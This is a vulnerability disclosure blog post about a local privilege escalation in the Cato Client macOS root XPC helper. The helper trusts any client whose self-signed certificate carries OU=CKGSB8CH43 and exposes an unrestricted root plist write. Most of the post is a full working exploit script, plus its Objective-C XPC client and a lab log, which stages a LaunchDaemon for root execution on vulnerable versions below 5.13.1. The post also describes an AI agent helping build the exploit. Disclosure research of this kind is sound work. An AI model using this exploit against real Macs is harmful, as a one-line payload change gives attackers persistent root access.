Cato SecureStore: when OU was enough to talk to root
This one started the old-fashioned way. I was reverse-engineering Cato Client for macOS — not asking a model to “find an LPE,” just reading the privileged helper and asking what it trusts. The helper runs as root, speaks XPC, and is supposed to talk only to legitimate Cato components. Once I had the interesting selectors and the client validation string in hand, I handed that context to an agent and used it to turn the finding into a clean, reboot-to-root PoC.
The short version: the helper accepted a self-signed code-signing certificate whose only meaningful check was
OU=CKGSB8CH43. After that, an exposed SecureStore method let me write a plist anywhere root can write —
including /Library/LaunchDaemons. Confirmed on 5.13.0 (build 10503).
Cato fixed it in 5.13.1 and assigned
CVE-2026-12374.
id / whoami), no persistence left behind after reboot.
How I approached it
Most of my recent posts lean hard on agent loops from day one. This one flipped the order on purpose.
- Manual reverse engineering first. I pulled the installed helper, looked at the LaunchDaemon, Mach service name, and the Objective-C / Swift-facing surface. The goal was simple: map who can talk to root, and what root will do for them.
- Extract the key pieces. Two things mattered immediately: the XPC client requirement string, and the SecureStore write selector. Those became the “facts” I would not let an agent invent.
- Then bring in AI. With the helper path, Mach service, requirement, and method signature pinned down, I asked an agent to help build a self-contained lab PoC: temporary keychain, self-signed cert with the right OU, signed XPC client, probe write, then LaunchDaemon staging.
That split worked well. Reverse engineering decided what was wrong. The agent helped with the boring, fiddly glue — OpenSSL PKCS#12 quirks on modern macOS, codesign against a temp keychain, and a small Objective-C client that speaks the protocol cleanly.
The target
Cato Client installs a root LaunchDaemon:
Label: com.catonetworks.mac.CatoClient.helper
Mach: com.catonetworks.mac.client.daemon
Binary: /Library/Application Support/CatoNetworks/
com.catonetworks.mac.CatoClient.helper.app/Contents/MacOS/
com.catonetworks.mac.CatoClient.helper
Lab target was Cato Client 5.13.0, build 10503. I originally reversed package build 10208; the live PoC still worked on 10503 — same app version, different build. Helper surfaces can stick around.
What reverse engineering showed
1. Weak XPC client validation
The helper’s client check boiled down to a code-signing requirement that only looked at the certificate OU:
certificate leaf[subject.OU] = CKGSB8CH43
No Apple trust anchor. No fixed signing identifier. No designated requirement for a real Cato client.
OU is attacker-controlled in a self-signed certificate, so “looks like our Team ID” is not the same
as “is our binary.”
2. Privileged SecureStore write
Once connected, the helper exposed:
writeSecureStoreCacheToDisk:at:completionHandler:
Two attacker-controlled inputs: a dictionary (plist-compatible content) and a filesystem path. The helper runs as
root, builds a file URL, and writes the dictionary. There was no strict destination allowlist. Plist-only is still
enough to plant a valid LaunchDaemon under /Library/LaunchDaemons.
What I passed to the agent
Once the RE notes were solid, the handoff was short. I wanted help turning a known surface into a lab PoC — not a second reverse-engineering pass:
Authorized lab research on Cato Client for macOS.
I reverse-engineered the root helper and extracted the XPC
client check plus one privileged write method.
Help me build a small, self-contained PoC that:
- signs a local XPC client the helper will accept
- calls that write method safely in a lab
- proves a root-owned write, then stages a benign LaunchDaemon
Stay on the extracted surface. Don't invent selectors.
That was enough. The agent handled keychain, cert, and client glue; I kept the security claims tied to what I had already verified by hand.
Exploitation path
- Create an isolated temporary keychain.
- Generate a self-signed code-signing certificate with
OU=CKGSB8CH43. - Compile a small Objective-C XPC client and sign it with that certificate.
- Connect to
com.catonetworks.mac.client.daemon. - Call
writeSecureStoreCacheToDisk:at:completionHandler:. - First write a harmless probe plist and confirm it is root-owned.
- Write a LaunchDaemon plist to
/Library/LaunchDaemons. - Reboot. The daemon runs as root, writes proof to
/var/tmp, and removes its own plist.
Proof of concept
Lab-only PoC for vulnerable Cato Client builds (< 5.13.1). It stages a benign
LaunchDaemon that writes id / whoami to /var/tmp and removes itself.
Download: exploit.sh.
chmod +x exploit.sh
./exploit.sh
# optional:
VERBOSE=1 ./exploit.sh
DIAGNOSE=1 ./exploit.sh
The interesting part is the signed XPC client — connect to the helper, then ask it to write:
#define HELPER_SERVICE "com.catonetworks.mac.client.daemon"
@protocol DaemonCommandProtocol
- (void)writeSecureStoreCacheToDisk:(NSDictionary *)cache
at:(NSString *)path
completionHandler:(void (^)(BOOL ok))completionHandler;
@end
NSXPCInterface *iface =
[NSXPCInterface interfaceWithProtocol:@protocol(DaemonCommandProtocol)];
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@HELPER_SERVICE
options:0];
conn.remoteObjectInterface = iface;
[conn resume];
id<DaemonCommandProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) { /* ... */ }];
[proxy writeSecureStoreCacheToDisk:dict
at:path
completionHandler:^(BOOL ok) {
result = ok;
dispatch_semaphore_signal(sem);
}];
The LaunchDaemon payload is intentionally boring — prove uid=0, then clean up:
NSString *cmd = [NSString stringWithFormat:
@"/usr/bin/id > %@; /usr/bin/whoami >> %@; /bin/rm -f %@",
proofPath, proofPath, plistPath];
return @{
@"Label": @POC_LABEL,
@"ProgramArguments": @[@"/bin/sh", @"-c", cmd],
@"RunAtLoad": @YES,
@"StandardOutPath": @"/var/tmp/cato_securestore_lpe_stdout.log",
@"StandardErrorPath": @"/var/tmp/cato_securestore_lpe_stderr.log"
};
Full PoC script (exploit.sh)
Authorized lab use only. Fixed in Cato Client 5.13.1+.
Download: exploit.sh.
#!/bin/bash
# Title: Cato Client macOS — SecureStore XPC plist-write LPE PoC
# Scope: Authorized lab use only · fixed in Cato Client 5.13.1+
# CVE: CVE-2026-12374
# Summary: Signs a local XPC client with a self-signed certificate whose OU
# matches the helper's weak client check, then calls
# writeSecureStoreCacheToDisk:at:completionHandler: to stage a
# root LaunchDaemon. After reboot the daemon writes a uid=0 proof
# file and removes its own plist.
# Run: ./exploit.sh
# Optional: VERBOSE=1 ./exploit.sh | DIAGNOSE=1 ./exploit.sh
set -euo pipefail
TEAM_ID="CKGSB8CH43"
CERT_CN="CatoSecureStorePoC"
KEYCHAIN_PASS="CATO_RESEARCH_1337"
APP_INFO="/Applications/CatoClient.app/Contents/Info.plist"
EXPECTED_VERSION="5.13.0"
ANALYZED_BUILD="10208"
STRICT_BUILD="${STRICT_BUILD:-0}"
DIAGNOSE="${DIAGNOSE:-0}"
VERBOSE="${VERBOSE:-0}"
SERVICE_LABEL="com.catonetworks.mac.CatoClient.helper"
MACH_SERVICE="com.catonetworks.mac.client.daemon"
HELPER_BIN="/Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper.app/Contents/MacOS/com.catonetworks.mac.CatoClient.helper"
POC_LABEL="com.cato.research.securestore-poc"
LAUNCHD_PLIST="/Library/LaunchDaemons/${POC_LABEL}.plist"
PROOF="/var/tmp/cato_securestore_lpe_id_$(date +%s)"
WORKDIR="$(mktemp -d /tmp/cato-securestore.XXXXXX)"
KEYCHAIN="$WORKDIR/poc.keychain-db"
SRC="$WORKDIR/cato_securestore_poc.m"
CLIENT_BIN="$WORKDIR/cato_securestore_poc"
CERT_CONF="$WORKDIR/cert.conf"
CERT_PEM="$WORKDIR/poc.crt"
CERT_KEY="$WORKDIR/poc.key"
CERT_P12="$WORKDIR/poc.p12"
PROBE_FILE="$WORKDIR/probe.plist"
HELPER_STRINGS="$WORKDIR/helper.strings"
SAVED_KEYCHAINS=""
cleanup() {
if [[ -n "${SAVED_KEYCHAINS:-}" ]]; then
security list-keychains -s $SAVED_KEYCHAINS 2>/dev/null || true
fi
security delete-keychain "$KEYCHAIN" 2>/dev/null || true
rm -rf "$WORKDIR"
}
trap cleanup EXIT INT TERM
bye() {
echo "[x] $1"
exit 1
}
dump_helper_diagnostics() {
echo "[*] Helper diagnostics:"
echo " Helper: $HELPER_BIN"
echo " SHA256: $(shasum -a 256 "$HELPER_BIN" 2>/dev/null | awk '{print $1}')"
echo " Interesting exposed selectors/strings:"
local strings_file="$HELPER_STRINGS"
if [[ ! -f "$strings_file" ]]; then
strings "$HELPER_BIN" > "$strings_file" 2>/dev/null || true
fi
grep -E \
'installPackageAtPath|writeSecureStoreCache|readSecureStoreCache|linkCLIToolAtPath|captureTraffic|SystemLogs|getSystemExtensionLogs|storeSystemKeychainItem|keychainItemForAccount|certificate leaf\\[subject\\.OU\\]' \
"$strings_file" | sort -u | sed 's/^/ /' || true
}
helper_has_string() {
grep -Fq "$1" "$HELPER_STRINGS"
}
need_cmd() {
command -v "$1" >/dev/null 2>&1 || bye "Missing required command: $1"
}
run_quiet() {
local label="$1"
shift
echo " - $label"
if [[ "$VERBOSE" == "1" ]]; then
"$@"
else
"$@" >/dev/null 2>&1
fi
}
try_pkcs12_export() {
if [[ "$VERBOSE" == "1" ]]; then
openssl pkcs12 "$@"
else
openssl pkcs12 "$@" >/dev/null 2>&1
fi
}
export_pkcs12_for_apple_keychain() {
echo " - Exporting certificate as Apple-compatible PKCS#12"
rm -f "$CERT_P12"
# OpenSSL 3 defaults can produce PKCS#12 files that Apple's security(1)
# rejects as "MAC verification failed". Prefer legacy-compatible PBE.
if try_pkcs12_export -export -legacy \
-out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
-passout "pass:$KEYCHAIN_PASS"; then
return 0
fi
rm -f "$CERT_P12"
if try_pkcs12_export -export \
-macalg sha1 -keypbe PBE-SHA1-3DES -certpbe PBE-SHA1-3DES \
-out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
-passout "pass:$KEYCHAIN_PASS"; then
return 0
fi
rm -f "$CERT_P12"
try_pkcs12_export -export \
-out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" \
-passout "pass:$KEYCHAIN_PASS"
}
echo "[*] Cato SecureStore LPE PoC"
echo "[*] Workdir: $WORKDIR"
[[ "$(uname -s)" == "Darwin" ]] || bye "This PoC is macOS-only."
for c in clang codesign openssl security strings launchctl plutil stat; do
need_cmd "$c"
done
echo "[*](1/7) Checking installed Cato Client target ..."
[[ -f "$APP_INFO" ]] || bye "Cato Client app Info.plist not found at $APP_INFO"
VERSION="$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_INFO" 2>/dev/null || true)"
BUILD="$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_INFO" 2>/dev/null || true)"
echo " Version: ${VERSION:-unknown}"
echo " Build: ${BUILD:-unknown}"
if [[ "$VERSION" != "$EXPECTED_VERSION" ]]; then
echo "[!] Version differs from the analyzed package: expected $EXPECTED_VERSION, found ${VERSION:-unknown}."
echo "[!] Continuing because the script also checks the helper binary and performs a live root-write probe."
fi
if [[ "$BUILD" != "$ANALYZED_BUILD" ]]; then
echo "[!] Build differs from the analyzed package: expected $ANALYZED_BUILD, found ${BUILD:-unknown}."
if [[ "$STRICT_BUILD" == "1" ]]; then
bye "STRICT_BUILD=1 is set, so build mismatch stops here."
fi
echo "[!] Continuing; set STRICT_BUILD=1 to require the exact analyzed build."
fi
[[ -x "$HELPER_BIN" ]] || bye "Privileged helper binary not found/executable at $HELPER_BIN"
launchctl print "system/$SERVICE_LABEL" >/dev/null 2>&1 \
|| bye "LaunchDaemon system/$SERVICE_LABEL is not loaded."
strings "$HELPER_BIN" > "$HELPER_STRINGS"
if [[ "$DIAGNOSE" == "1" ]]; then
dump_helper_diagnostics
fi
helper_has_string "writeSecureStoreCacheToDisk:at:completionHandler:" \
|| {
[[ "$DIAGNOSE" == "1" ]] || dump_helper_diagnostics
bye "Target helper does not expose writeSecureStoreCacheToDisk; this SecureStore plist-write PoC does not apply to this build."
}
helper_has_string "certificate leaf[subject.OU] = $TEAM_ID" \
|| bye "Expected weak OU-only XPC requirement was not found."
[[ -d /Library/LaunchDaemons ]] || bye "/Library/LaunchDaemons is missing."
[[ ! -e "$LAUNCHD_PLIST" ]] || bye "$LAUNCHD_PLIST already exists; remove it in the lab before running."
echo "[+] Target surface matches expected vulnerable build."
echo "[*](2/7) Creating isolated keychain ..."
security create-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security unlock-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security set-keychain-settings -t 7200 "$KEYCHAIN"
SAVED_KEYCHAINS="$(security list-keychains | tr -d '"' | xargs)"
security list-keychains -s "$KEYCHAIN" $SAVED_KEYCHAINS
echo "[*](3/7) Generating self-signed code-signing certificate with OU=$TEAM_ID ..."
cat > "$CERT_CONF" << CONF
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
x509_extensions = ext
[dn]
C = US
O = Cato Research PoC
OU = $TEAM_ID
CN = $CERT_CN
[ext]
keyUsage = critical, digitalSignature
extendedKeyUsage = codeSigning
basicConstraints = critical, CA:FALSE
subjectKeyIdentifier = hash
CONF
run_quiet "Generating RSA-2048 certificate" \
openssl req -x509 -newkey rsa:2048 -keyout "$CERT_KEY" -out "$CERT_PEM" \
-days 1 -nodes -config "$CERT_CONF"
export_pkcs12_for_apple_keychain
run_quiet "Importing certificate into temporary keychain" \
security import "$CERT_P12" -k "$KEYCHAIN" -P "$KEYCHAIN_PASS" \
-T /usr/bin/codesign -A
run_quiet "Allowing codesign to access the key" \
security set-key-partition-list -S "apple-tool:,apple:,codesign:" \
-s -k "$KEYCHAIN_PASS" "$KEYCHAIN"
openssl x509 -in "$CERT_PEM" -noout -subject | sed 's/^/ /'
echo "[*](4/7) Writing and compiling XPC client ..."
cat > "$SRC" << 'EOF'
#import <Foundation/Foundation.h>
#import <dispatch/dispatch.h>
#include <stdio.h>
#include <unistd.h>
#define HELPER_SERVICE "com.catonetworks.mac.client.daemon"
#define POC_LABEL "com.cato.research.securestore-poc"
@protocol DaemonCommandProtocol
- (void)writeSecureStoreCacheToDisk:(NSDictionary *)cache
at:(NSString *)path
completionHandler:(void (^)(BOOL ok))completionHandler;
@end
static NSDictionary *make_probe_dict(void) {
return @{
@"CatoSecureStoreProbe": @"probe",
@"Timestamp": @([[NSDate date] timeIntervalSince1970])
};
}
static NSDictionary *make_launchd_dict(NSString *plistPath, NSString *proofPath) {
NSString *cmd = [NSString stringWithFormat:
@"/usr/bin/id > %@; /usr/bin/whoami >> %@; /bin/rm -f %@",
proofPath, proofPath, plistPath
];
return @{
@"Label": @POC_LABEL,
@"ProgramArguments": @[@"/bin/sh", @"-c", cmd],
@"RunAtLoad": @YES,
@"StandardOutPath": @"/var/tmp/cato_securestore_lpe_stdout.log",
@"StandardErrorPath": @"/var/tmp/cato_securestore_lpe_stderr.log"
};
}
static int xpc_write_dict(NSDictionary *dict, NSString *path) {
__block BOOL completed = NO;
__block BOOL result = NO;
NSXPCInterface *iface = [NSXPCInterface interfaceWithProtocol:@protocol(DaemonCommandProtocol)];
NSSet *plistClasses = [NSSet setWithObjects:
[NSDictionary class], [NSArray class], [NSString class], [NSNumber class],
[NSDate class], [NSData class], nil
];
[iface setClasses:plistClasses
forSelector:@selector(writeSecureStoreCacheToDisk:at:completionHandler:)
argumentIndex:0
ofReply:NO];
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@HELPER_SERVICE
options:0];
conn.remoteObjectInterface = iface;
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
conn.invalidationHandler = ^{
if (!completed) {
fprintf(stderr, "[!] XPC connection invalidated before completion.\n");
dispatch_semaphore_signal(sem);
}
};
conn.interruptionHandler = ^{
if (!completed) {
fprintf(stderr, "[!] XPC connection interrupted before completion.\n");
dispatch_semaphore_signal(sem);
}
};
[conn resume];
id<DaemonCommandProtocol> proxy = [conn
remoteObjectProxyWithErrorHandler:^(NSError *error) {
fprintf(stderr, "[!] XPC proxy error: %s\n",
error.localizedDescription.UTF8String);
completed = YES;
dispatch_semaphore_signal(sem);
}];
[proxy writeSecureStoreCacheToDisk:dict
at:path
completionHandler:^(BOOL ok) {
result = ok;
completed = YES;
dispatch_semaphore_signal(sem);
}];
long wait = dispatch_semaphore_wait(
sem,
dispatch_time(DISPATCH_TIME_NOW, 15LL * NSEC_PER_SEC)
);
[conn invalidate];
if (wait != 0) {
fprintf(stderr, "[!] Timed out waiting for helper completion.\n");
return 2;
}
return result ? 0 : 3;
}
int main(int argc, char **argv) {
@autoreleasepool {
if (argc < 3) {
fprintf(stderr,
"Usage:\n"
" %s probe <path>\n"
" %s launchd <plist_path> <proof_path>\n",
argv[0], argv[0]);
return 1;
}
NSString *mode = [NSString stringWithUTF8String:argv[1]];
NSString *path = [NSString stringWithUTF8String:argv[2]];
NSDictionary *dict = nil;
if ([mode isEqualToString:@"probe"]) {
dict = make_probe_dict();
} else if ([mode isEqualToString:@"launchd"]) {
if (argc < 4) {
fprintf(stderr, "[x] launchd mode needs a proof path.\n");
return 1;
}
NSString *proof = [NSString stringWithUTF8String:argv[3]];
dict = make_launchd_dict(path, proof);
} else {
fprintf(stderr, "[x] Unknown mode: %s\n", argv[1]);
return 1;
}
return xpc_write_dict(dict, path);
}
}
EOF
sed -i '' "s/com\\.catonetworks\\.mac\\.client\\.daemon/${MACH_SERVICE}/g" "$SRC"
clang -fobjc-arc -framework Foundation "$SRC" -o "$CLIENT_BIN"
echo "[*](5/7) Signing XPC client with OU=$TEAM_ID certificate ..."
codesign -f -s "$CERT_CN" --keychain "$KEYCHAIN" "$CLIENT_BIN" >/dev/null 2>&1
codesign -dvv "$CLIENT_BIN" 2>&1 | sed 's/^/ /'
echo "[*](6/7) Runtime vulnerability probe through the helper ..."
if "$CLIENT_BIN" probe "$PROBE_FILE"; then
[[ -f "$PROBE_FILE" ]] || bye "Probe callback succeeded, but probe file was not created."
PROBE_OWNER="$(stat -f '%Su' "$PROBE_FILE")"
echo " Probe file: $PROBE_FILE"
echo " Probe owner: $PROBE_OWNER"
[[ "$PROBE_OWNER" == "root" ]] || bye "Probe file was not root-owned; refusing to continue."
else
bye "XPC probe failed; target does not appear exploitable from this client."
fi
rm -f "$PROBE_FILE"
echo "[+] Probe confirmed root helper file write."
echo "[*](7/7) Staging LaunchDaemon root-execution proof ..."
if "$CLIENT_BIN" launchd "$LAUNCHD_PLIST" "$PROOF"; then
[[ -f "$LAUNCHD_PLIST" ]] || bye "Helper reported success, but LaunchDaemon plist was not created."
else
bye "Failed to write LaunchDaemon plist through vulnerable helper."
fi
PLIST_OWNER="$(stat -f '%Su:%Sg' "$LAUNCHD_PLIST")"
echo " LaunchDaemon: $LAUNCHD_PLIST"
echo " Owner: $PLIST_OWNER"
plutil -lint "$LAUNCHD_PLIST" | sed 's/^/ /'
if [[ "$PLIST_OWNER" != "root:wheel" && "$PLIST_OWNER" != "root:admin" && "$PLIST_OWNER" != "root:staff" ]]; then
echo "[!] Plist owner is unexpected; launchd may reject it."
fi
echo "[+] Exploit staged."
echo "[+] Reboot the lab Mac to trigger root execution."
echo "[+] After reboot, check:"
echo " cat $PROOF"
echo "[+] Expected proof contains uid=0(root). The payload removes $LAUNCHD_PLIST after it runs."
Lab proof
Full session log from the lab Mac — standard user, no sudo. Downloads:
exploit.sh ·
cato_securestore_exploit_log.txt.
PoC session log (Jun 21, 2026)
$ date
Sun Jun 21 13:04:29 +04 2026
$ sudo -v
Sorry, user dexter may not run sudo on dexters-lab.
$ ./exploit.sh
[*] Cato SecureStore LPE PoC
[*] Workdir: /tmp/cato-securestore.ZPhGUJ
[*](1/7) Checking installed Cato Client target ...
Version: 5.13.0
Build: 10503
[!] Build differs from the analyzed package: expected 10208, found 10503.
[!] Continuing; set STRICT_BUILD=1 to require the exact analyzed build.
[+] Target surface matches expected vulnerable build.
[*](2/7) Creating isolated keychain ...
[*](3/7) Generating self-signed code-signing certificate with OU=CKGSB8CH43 ...
- Generating RSA-2048 certificate
- Exporting certificate as Apple-compatible PKCS#12
- Importing certificate into temporary keychain
- Allowing codesign to access the key
subject=C=US, O=Cato Research PoC, OU=CKGSB8CH43, CN=CatoSecureStorePoC
[*](4/7) Writing and compiling XPC client ...
[*](5/7) Signing XPC client with OU=CKGSB8CH43 certificate ...
Executable=/private/tmp/cato-securestore.ZPhGUJ/cato_securestore_poc
Identifier=cato_securestore_poc
Format=Mach-O thin (arm64)
Authority=CatoSecureStorePoC
TeamIdentifier=not set
[*](6/7) Runtime vulnerability probe through the helper ...
Probe file: /tmp/cato-securestore.ZPhGUJ/probe.plist
Probe owner: root
[+] Probe confirmed root helper file write.
[*](7/7) Staging LaunchDaemon root-execution proof ...
LaunchDaemon: /Library/LaunchDaemons/com.cato.research.securestore-poc.plist
Owner: root:wheel
/Library/LaunchDaemons/com.cato.research.securestore-poc.plist: OK
[+] Exploit staged.
[+] Reboot the lab Mac to trigger root execution.
[+] After reboot, check:
cat /var/tmp/cato_securestore_lpe_id_<timestamp>
# --- reboot ---
$ cat /var/tmp/cato_securestore_lpe_id_1782032359
uid=0(root) gid=0(wheel) groups=0(wheel),...
root
The important lines are the boring ones: sudo -v fails, the probe file is owned by root,
the LaunchDaemon lands as root:wheel, and after reboot the proof file shows uid=0(root).
Impact
A local standard user can impersonate a trusted Cato client and instruct the root helper to write attacker-controlled
plist content into a privileged location. Staging a LaunchDaemon means root code execution on the next boot —
persistence, tampering with security controls, or reading root-protected data are all in scope for a real attacker.
The lab PoC only writes id / whoami and deletes its own plist.
Fix and disclosure
Cato published an advisory for CVE-2026-12374. Versions lower than 5.13.1 are affected. 5.13.1 and later include the patch. If you still have older macOS Clients in the field, upgrade.
On the remediation side, the usual hardening applies: stop accepting OU-only clients; require an Apple-trusted anchor, Team ID, and exact identifier / designated requirement; and never expose a generic root file-write over XPC without a hard allowlist. Prefer rejecting absolute paths, symlinks, and anything outside an app-owned directory.
Example of a stronger requirement shape:
anchor apple generic
and certificate leaf[subject.OU] = "CKGSB8CH43"
and identifier "com.catonetworks.mac.<expected-client>"
What I took away
Privileged helpers are still one of the highest-ROI places to look on macOS. The interesting bugs are often not exotic memory corruption — they are trust decisions that look almost correct until you notice the missing anchor or the missing path allowlist.
For the AI part: I got more out of the model by feeding it extracted functions and a fixed protocol surface than by asking it to reverse the binary for me. Manual RE found the door. The agent helped build the key. Same lesson as the other posts — model quality matters, but context is king.
Quiet thanks to Cato for the fix, and for including me on their Security Researcher Acknowledgments page.
Cato Client / Cato Networks are mentioned here for technical discussion; this site is not affiliated with Cato Networks. Research was conducted in an authorized lab setting.